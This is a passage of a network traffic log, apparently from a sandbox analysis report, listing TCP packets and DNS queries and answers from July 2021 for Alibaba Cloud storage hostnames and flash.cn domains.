Jul 13, 2021 14:37:57.902518988 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.902534962 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.902542114 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.902550936 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.902565956 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.902578115 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.902582884 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.902599096 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.902606010 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.902618885 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.902631044 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.902637005 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.902652979 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.902668953 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.902671099 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.902684927 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.902699947 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.902709007 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.902715921 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.902731895 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.902744055 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.902750969 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.902769089 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.902770042 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.902784109 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.902795076 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.902800083 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.902816057 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.902829885 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.902831078 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.902847052 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.902863026 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.902868032 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.902883053 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.902892113 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.902900934 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.902918100 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.902923107 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.902935028 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.902951002 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.902966976 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.902973890 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.902982950 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.902998924 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.903017044 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.903017998 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.903036118 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.903047085 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.903052092 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.903068066 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.903070927 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.903084040 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.903099060 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.903115988 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.903125048 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.903141975 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.903153896 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.903156996 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.903177023 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.903177977 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.903194904 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.903211117 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.903228045 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.903229952 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.903243065 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.903255939 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.903270960 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.903285980 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.903292894 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.903300047 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.903315067 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.903330088 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.903331995 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.903343916 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.903348923 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.903358936 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.903373003 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.903388977 CEST	49757	80	192.168.2.3	47.254.186.176

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jul 13, 2021 14:37:11.630666971 CEST	192.168.2.3	8.8.8.8	0x4623	Standard query (0)	softres.oss-accelerate.aliyuncs.com	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:12.713251114 CEST	192.168.2.3	8.8.8.8	0xff12	Standard query (0)	lualibs.oss-cn-hongkong.aliyuncs.com	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:24.532979965 CEST	192.168.2.3	8.8.8.8	0x3e1d	Standard query (0)	www.flash.cn	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:24.864546061 CEST	192.168.2.3	8.8.8.8	0xdbe1	Standard query (0)	api.flash.cn	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:26.383474112 CEST	192.168.2.3	8.8.8.8	0x477d	Standard query (0)	api.flash.cn	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:26.387470961 CEST	192.168.2.3	8.8.8.8	0xe2e8	Standard query (0)	www.flash.cn	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:26.433757067 CEST	192.168.2.3	8.8.8.8	0xd11e	Standard query (0)	www.flash.cn	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:26.474636078 CEST	192.168.2.3	8.8.8.8	0x81f2	Standard query (0)	www.flash.cn	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:47.386831999 CEST	192.168.2.3	8.8.8.8	0x9acf	Standard query (0)	lualibs.oss-cn-hongkong.aliyuncs.com	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:48.042999029 CEST	192.168.2.3	8.8.8.8	0xc754	Standard query (0)	lualibs.oss-accelerate.aliyuncs.com	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:51.925726891 CEST	192.168.2.3	8.8.8.8	0x3923	Standard query (0)	softres.oss-accelerate.aliyuncs.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jul 13, 2021 14:37:12.574037075 CEST	8.8.8.8	192.168.2.3	0x4623	No error (0)	softres.oss-accelerate.aliyuncs.com	oss-acc-allline.aliyuncs.com		CNAME (Canonical name)	IN (0x0001)
Jul 13, 2021 14:37:12.574037075 CEST	8.8.8.8	192.168.2.3	0x4623	No error (0)	oss-acc-allline.aliyuncs.com	oss-acc-allline.aliyuncs.com.gds.alibabadns.com		CNAME (Canonical name)	IN (0x0001)
Jul 13, 2021 14:37:12.574037075 CEST	8.8.8.8	192.168.2.3	0x4623	No error (0)	oss-acc-allline.aliyuncs.com.gds.alibabadns.com	eu-central-1.oss-acc.aliyuncs.com		CNAME (Canonical name)	IN (0x0001)
Jul 13, 2021 14:37:12.574037075 CEST	8.8.8.8	192.168.2.3	0x4623	No error (0)	eu-central-1.oss-acc.aliyuncs.com		47.254.186.176	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:12.574037075 CEST	8.8.8.8	192.168.2.3	0x4623	No error (0)	eu-central-1.oss-acc.aliyuncs.com		47.254.186.154	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:13.038981915 CEST	8.8.8.8	192.168.2.3	0xff12	No error (0)	lualibs.oss-cn-hongkong.aliyuncs.com		47.75.19.154	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:24.561415911 CEST	8.8.8.8	192.168.2.3	0x3e1d	No error (0)	www.flash.cn	www.flash.cn.cdn.dnsv1.com		CNAME (Canonical name)	IN (0x0001)
Jul 13, 2021 14:37:24.561415911 CEST	8.8.8.8	192.168.2.3	0x3e1d	No error (0)	www.flash.cn.cdn.dnsv1.com	36d6250d.tweb.sched.ovscdns.com		CNAME (Canonical name)	IN (0x0001)
Jul 13, 2021 14:37:24.561415911 CEST	8.8.8.8	192.168.2.3	0x3e1d	No error (0)	36d6250d.tweb.sched.ovscdns.com		211.152.136.41	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:24.561415911 CEST	8.8.8.8	192.168.2.3	0x3e1d	No error (0)	36d6250d.tweb.sched.ovscdns.com		211.152.136.77	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:24.561415911 CEST	8.8.8.8	192.168.2.3	0x3e1d	No error (0)	36d6250d.tweb.sched.ovscdns.com		101.33.11.45	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:24.561415911 CEST	8.8.8.8	192.168.2.3	0x3e1d	No error (0)	36d6250d.tweb.sched.ovscdns.com		101.33.11.29	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:24.561415911 CEST	8.8.8.8	192.168.2.3	0x3e1d	No error (0)	36d6250d.tweb.sched.ovscdns.com		211.152.136.88	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:24.561415911 CEST	8.8.8.8	192.168.2.3	0x3e1d	No error (0)	36d6250d.tweb.sched.ovscdns.com		211.152.136.90	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:24.561415911 CEST	8.8.8.8	192.168.2.3	0x3e1d	No error (0)	36d6250d.tweb.sched.ovscdns.com		101.33.11.25	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:24.561415911 CEST	8.8.8.8	192.168.2.3	0x3e1d	No error (0)	36d6250d.tweb.sched.ovscdns.com		101.33.10.114	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:24.561415911 CEST	8.8.8.8	192.168.2.3	0x3e1d	No error (0)	36d6250d.tweb.sched.ovscdns.com		211.152.136.89	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:24.561415911 CEST	8.8.8.8	192.168.2.3	0x3e1d	No error (0)	36d6250d.tweb.sched.ovscdns.com		211.152.136.71	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:24.561415911 CEST	8.8.8.8	192.168.2.3	0x3e1d	No error (0)	36d6250d.tweb.sched.ovscdns.com		101.33.11.88	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:24.561415911 CEST	8.8.8.8	192.168.2.3	0x3e1d	No error (0)	36d6250d.tweb.sched.ovscdns.com		101.33.11.110	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:24.561415911 CEST	8.8.8.8	192.168.2.3	0x3e1d	No error (0)	36d6250d.tweb.sched.ovscdns.com		211.152.136.42	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:24.561415911 CEST	8.8.8.8	192.168.2.3	0x3e1d	No error (0)	36d6250d.tweb.sched.ovscdns.com		211.152.136.87	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:24.561415911 CEST	8.8.8.8	192.168.2.3	0x3e1d	No error (0)	36d6250d.tweb.sched.ovscdns.com		101.33.10.52	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:24.885379076 CEST	8.8.8.8	192.168.2.3	0xdbe1	No error (0)	api.flash.cn	api.flash.cn.cdn.dnsv1.com		CNAME (Canonical name)	IN (0x0001)
Jul 13, 2021 14:37:24.885379076 CEST	8.8.8.8	192.168.2.3	0xdbe1	No error (0)	api.flash.cn.cdn.dnsv1.com	36d6250f.tweb.sched.ovscdns.com		CNAME (Canonical name)	IN (0x0001)
Jul 13, 2021 14:37:24.885379076 CEST	8.8.8.8	192.168.2.3	0xdbe1	No error (0)	36d6250f.tweb.sched.ovscdns.com		211.152.136.90	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:24.885379076 CEST	8.8.8.8	192.168.2.3	0xdbe1	No error (0)	36d6250f.tweb.sched.ovscdns.com		211.152.136.42	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:24.885379076 CEST	8.8.8.8	192.168.2.3	0xdbe1	No error (0)	36d6250f.tweb.sched.ovscdns.com		211.152.136.77	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:24.885379076 CEST	8.8.8.8	192.168.2.3	0xdbe1	No error (0)	36d6250f.tweb.sched.ovscdns.com		211.152.136.88	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:24.885379076 CEST	8.8.8.8	192.168.2.3	0xdbe1	No error (0)	36d6250f.tweb.sched.ovscdns.com		101.33.11.45	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:24.885379076 CEST	8.8.8.8	192.168.2.3	0xdbe1	No error (0)	36d6250f.tweb.sched.ovscdns.com		101.33.11.29	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:24.885379076 CEST	8.8.8.8	192.168.2.3	0xdbe1	No error (0)	36d6250f.tweb.sched.ovscdns.com		211.152.136.41	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:24.885379076 CEST	8.8.8.8	192.168.2.3	0xdbe1	No error (0)	36d6250f.tweb.sched.ovscdns.com		211.152.136.71	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:24.885379076 CEST	8.8.8.8	192.168.2.3	0xdbe1	No error (0)	36d6250f.tweb.sched.ovscdns.com		101.33.11.88	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:24.885379076 CEST	8.8.8.8	192.168.2.3	0xdbe1	No error (0)	36d6250f.tweb.sched.ovscdns.com		211.152.136.87	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:24.885379076 CEST	8.8.8.8	192.168.2.3	0xdbe1	No error (0)	36d6250f.tweb.sched.ovscdns.com		101.33.10.114	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:24.885379076 CEST	8.8.8.8	192.168.2.3	0xdbe1	No error (0)	36d6250f.tweb.sched.ovscdns.com		101.33.11.110	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:24.885379076 CEST	8.8.8.8	192.168.2.3	0xdbe1	No error (0)	36d6250f.tweb.sched.ovscdns.com		101.33.11.25	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:24.885379076 CEST	8.8.8.8	192.168.2.3	0xdbe1	No error (0)	36d6250f.tweb.sched.ovscdns.com		101.33.10.52	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:24.885379076 CEST	8.8.8.8	192.168.2.3	0xdbe1	No error (0)	36d6250f.tweb.sched.ovscdns.com		211.152.136.89	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:26.410917044 CEST	8.8.8.8	192.168.2.3	0x477d	No error (0)	api.flash.cn	api.flash.cn.cdn.dnsv1.com		CNAME (Canonical name)	IN (0x0001)
Jul 13, 2021 14:37:26.410917044 CEST	8.8.8.8	192.168.2.3	0x477d	No error (0)	api.flash.cn.cdn.dnsv1.com	36d6250f.tweb.sched.ovscdns.com		CNAME (Canonical name)	IN (0x0001)
Jul 13, 2021 14:37:26.410917044 CEST	8.8.8.8	192.168.2.3	0x477d	No error (0)	36d6250f.tweb.sched.ovscdns.com		101.33.11.25	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:26.410917044 CEST	8.8.8.8	192.168.2.3	0x477d	No error (0)	36d6250f.tweb.sched.ovscdns.com		101.33.11.45	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:26.410917044 CEST	8.8.8.8	192.168.2.3	0x477d	No error (0)	36d6250f.tweb.sched.ovscdns.com		211.152.136.77	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:26.410917044 CEST	8.8.8.8	192.168.2.3	0x477d	No error (0)	36d6250f.tweb.sched.ovscdns.com		101.33.11.110	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:26.410917044 CEST	8.8.8.8	192.168.2.3	0x477d	No error (0)	36d6250f.tweb.sched.ovscdns.com		211.152.136.71	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:26.410917044 CEST	8.8.8.8	192.168.2.3	0x477d	No error (0)	36d6250f.tweb.sched.ovscdns.com		101.33.10.114	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:26.410917044 CEST	8.8.8.8	192.168.2.3	0x477d	No error (0)	36d6250f.tweb.sched.ovscdns.com		211.152.136.42	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:26.410917044 CEST	8.8.8.8	192.168.2.3	0x477d	No error (0)	36d6250f.tweb.sched.ovscdns.com		101.33.11.29	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:26.410917044 CEST	8.8.8.8	192.168.2.3	0x477d	No error (0)	36d6250f.tweb.sched.ovscdns.com		211.152.136.41	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:26.410917044 CEST	8.8.8.8	192.168.2.3	0x477d	No error (0)	36d6250f.tweb.sched.ovscdns.com		211.152.136.88	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:26.410917044 CEST	8.8.8.8	192.168.2.3	0x477d	No error (0)	36d6250f.tweb.sched.ovscdns.com		211.152.136.89	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:26.410917044 CEST	8.8.8.8	192.168.2.3	0x477d	No error (0)	36d6250f.tweb.sched.ovscdns.com		101.33.11.88	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:26.410917044 CEST	8.8.8.8	192.168.2.3	0x477d	No error (0)	36d6250f.tweb.sched.ovscdns.com		211.152.136.90	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:26.410917044 CEST	8.8.8.8	192.168.2.3	0x477d	No error (0)	36d6250f.tweb.sched.ovscdns.com		101.33.10.52	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:26.410917044 CEST	8.8.8.8	192.168.2.3	0x477d	No error (0)	36d6250f.tweb.sched.ovscdns.com		211.152.136.87	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:26.419020891 CEST	8.8.8.8	192.168.2.3	0xe2e8	No error (0)	www.flash.cn	www.flash.cn.cdn.dnsv1.com		CNAME (Canonical name)	IN (0x0001)
Jul 13, 2021 14:37:26.419020891 CEST	8.8.8.8	192.168.2.3	0xe2e8	No error (0)	www.flash.cn.cdn.dnsv1.com	36d6250d.tweb.sched.ovscdns.com		CNAME (Canonical name)	IN (0x0001)
Jul 13, 2021 14:37:26.419020891 CEST	8.8.8.8	192.168.2.3	0xe2e8	No error (0)	36d6250d.tweb.sched.ovscdns.com		101.33.10.52	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:26.419020891 CEST	8.8.8.8	192.168.2.3	0xe2e8	No error (0)	36d6250d.tweb.sched.ovscdns.com		101.33.11.45	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:26.419020891 CEST	8.8.8.8	192.168.2.3	0xe2e8	No error (0)	36d6250d.tweb.sched.ovscdns.com		211.152.136.41	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:26.419020891 CEST	8.8.8.8	192.168.2.3	0xe2e8	No error (0)	36d6250d.tweb.sched.ovscdns.com		211.152.136.42	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:26.419020891 CEST	8.8.8.8	192.168.2.3	0xe2e8	No error (0)	36d6250d.tweb.sched.ovscdns.com		211.152.136.88	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:26.419020891 CEST	8.8.8.8	192.168.2.3	0xe2e8	No error (0)	36d6250d.tweb.sched.ovscdns.com		101.33.11.88	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:26.419020891 CEST	8.8.8.8	192.168.2.3	0xe2e8	No error (0)	36d6250d.tweb.sched.ovscdns.com		101.33.11.29	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:26.419020891 CEST	8.8.8.8	192.168.2.3	0xe2e8	No error (0)	36d6250d.tweb.sched.ovscdns.com		101.33.11.25	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:26.419020891 CEST	8.8.8.8	192.168.2.3	0xe2e8	No error (0)	36d6250d.tweb.sched.ovscdns.com		101.33.11.110	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:26.419020891 CEST	8.8.8.8	192.168.2.3	0xe2e8	No error (0)	36d6250d.tweb.sched.ovscdns.com		101.33.10.114	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:26.419020891 CEST	8.8.8.8	192.168.2.3	0xe2e8	No error (0)	36d6250d.tweb.sched.ovscdns.com		211.152.136.87	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:26.419020891 CEST	8.8.8.8	192.168.2.3	0xe2e8	No error (0)	36d6250d.tweb.sched.ovscdns.com		211.152.136.71	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:26.419020891 CEST	8.8.8.8	192.168.2.3	0xe2e8	No error (0)	36d6250d.tweb.sched.ovscdns.com		211.152.136.77	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:26.419020891 CEST	8.8.8.8	192.168.2.3	0xe2e8	No error (0)	36d6250d.tweb.sched.ovscdns.com		211.152.136.90	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:26.419020891 CEST	8.8.8.8	192.168.2.3	0xe2e8	No error (0)	36d6250d.tweb.sched.ovscdns.com		211.152.136.89	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:26.448826075 CEST	8.8.8.8	192.168.2.3	0xd11e	No error (0)	www.flash.cn	www.flash.cn.cdn.dnsv1.com		CNAME (Canonical name)	IN (0x0001)
Jul 13, 2021 14:37:26.448826075 CEST	8.8.8.8	192.168.2.3	0xd11e	No error (0)	www.flash.cn.cdn.dnsv1.com	36d6250d.tweb.sched.ovscdns.com		CNAME (Canonical name)	IN (0x0001)
Jul 13, 2021 14:37:26.448826075 CEST	8.8.8.8	192.168.2.3	0xd11e	No error (0)	36d6250d.tweb.sched.ovscdns.com		211.152.136.41	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:26.448826075 CEST	8.8.8.8	192.168.2.3	0xd11e	No error (0)	36d6250d.tweb.sched.ovscdns.com		211.152.136.77	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:26.448826075 CEST	8.8.8.8	192.168.2.3	0xd11e	No error (0)	36d6250d.tweb.sched.ovscdns.com		101.33.11.45	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:26.448826075 CEST	8.8.8.8	192.168.2.3	0xd11e	No error (0)	36d6250d.tweb.sched.ovscdns.com		101.33.11.29	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:26.448826075 CEST	8.8.8.8	192.168.2.3	0xd11e	No error (0)	36d6250d.tweb.sched.ovscdns.com		211.152.136.88	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:26.448826075 CEST	8.8.8.8	192.168.2.3	0xd11e	No error (0)	36d6250d.tweb.sched.ovscdns.com		211.152.136.90	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:26.448826075 CEST	8.8.8.8	192.168.2.3	0xd11e	No error (0)	36d6250d.tweb.sched.ovscdns.com		101.33.11.25	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:26.448826075 CEST	8.8.8.8	192.168.2.3	0xd11e	No error (0)	36d6250d.tweb.sched.ovscdns.com		101.33.10.114	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:26.448826075 CEST	8.8.8.8	192.168.2.3	0xd11e	No error (0)	36d6250d.tweb.sched.ovscdns.com		211.152.136.89	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:26.448826075 CEST	8.8.8.8	192.168.2.3	0xd11e	No error (0)	36d6250d.tweb.sched.ovscdns.com		211.152.136.71	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:26.448826075 CEST	8.8.8.8	192.168.2.3	0xd11e	No error (0)	36d6250d.tweb.sched.ovscdns.com		101.33.11.88	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:26.448826075 CEST	8.8.8.8	192.168.2.3	0xd11e	No error (0)	36d6250d.tweb.sched.ovscdns.com		101.33.11.110	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:26.448826075 CEST	8.8.8.8	192.168.2.3	0xd11e	No error (0)	36d6250d.tweb.sched.ovscdns.com		211.152.136.42	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:26.448826075 CEST	8.8.8.8	192.168.2.3	0xd11e	No error (0)	36d6250d.tweb.sched.ovscdns.com		211.152.136.87	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:26.448826075 CEST	8.8.8.8	192.168.2.3	0xd11e	No error (0)	36d6250d.tweb.sched.ovscdns.com		101.33.10.52	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:26.488096952 CEST	8.8.8.8	192.168.2.3	0x81f2	No error (0)	www.flash.cn	www.flash.cn.cdn.dnsv1.com		CNAME (Canonical name)	IN (0x0001)
Jul 13, 2021 14:37:26.488096952 CEST	8.8.8.8	192.168.2.3	0x81f2	No error (0)	www.flash.cn.cdn.dnsv1.com	36d6250d.tweb.sched.ovscdns.com		CNAME (Canonical name)	IN (0x0001)
Jul 13, 2021 14:37:26.488096952 CEST	8.8.8.8	192.168.2.3	0x81f2	No error (0)	36d6250d.tweb.sched.ovscdns.com		211.152.136.41	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:26.488096952 CEST	8.8.8.8	192.168.2.3	0x81f2	No error (0)	36d6250d.tweb.sched.ovscdns.com		211.152.136.77	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:26.488096952 CEST	8.8.8.8	192.168.2.3	0x81f2	No error (0)	36d6250d.tweb.sched.ovscdns.com		101.33.11.45	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:26.488096952 CEST	8.8.8.8	192.168.2.3	0x81f2	No error (0)	36d6250d.tweb.sched.ovscdns.com		101.33.11.29	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:26.488096952 CEST	8.8.8.8	192.168.2.3	0x81f2	No error (0)	36d6250d.tweb.sched.ovscdns.com		211.152.136.88	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:26.488096952 CEST	8.8.8.8	192.168.2.3	0x81f2	No error (0)	36d6250d.tweb.sched.ovscdns.com		211.152.136.90	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:26.488096952 CEST	8.8.8.8	192.168.2.3	0x81f2	No error (0)	36d6250d.tweb.sched.ovscdns.com		101.33.11.25	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:26.488096952 CEST	8.8.8.8	192.168.2.3	0x81f2	No error (0)	36d6250d.tweb.sched.ovscdns.com		101.33.10.114	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:26.488096952 CEST	8.8.8.8	192.168.2.3	0x81f2	No error (0)	36d6250d.tweb.sched.ovscdns.com		211.152.136.89	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:26.488096952 CEST	8.8.8.8	192.168.2.3	0x81f2	No error (0)	36d6250d.tweb.sched.ovscdns.com		211.152.136.71	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:26.488096952 CEST	8.8.8.8	192.168.2.3	0x81f2	No error (0)	36d6250d.tweb.sched.ovscdns.com		101.33.11.88	A (IP address)	IN (0x0001)
Jul 13, 2021 14:37:26.488096952 CEST	8.8.8.8	192.168.2.3	0x81f2	No error (0)	36d6250d.tweb.sched.ovscdns.com		101.33.11.110	A (IP address)	IN (0x0001)
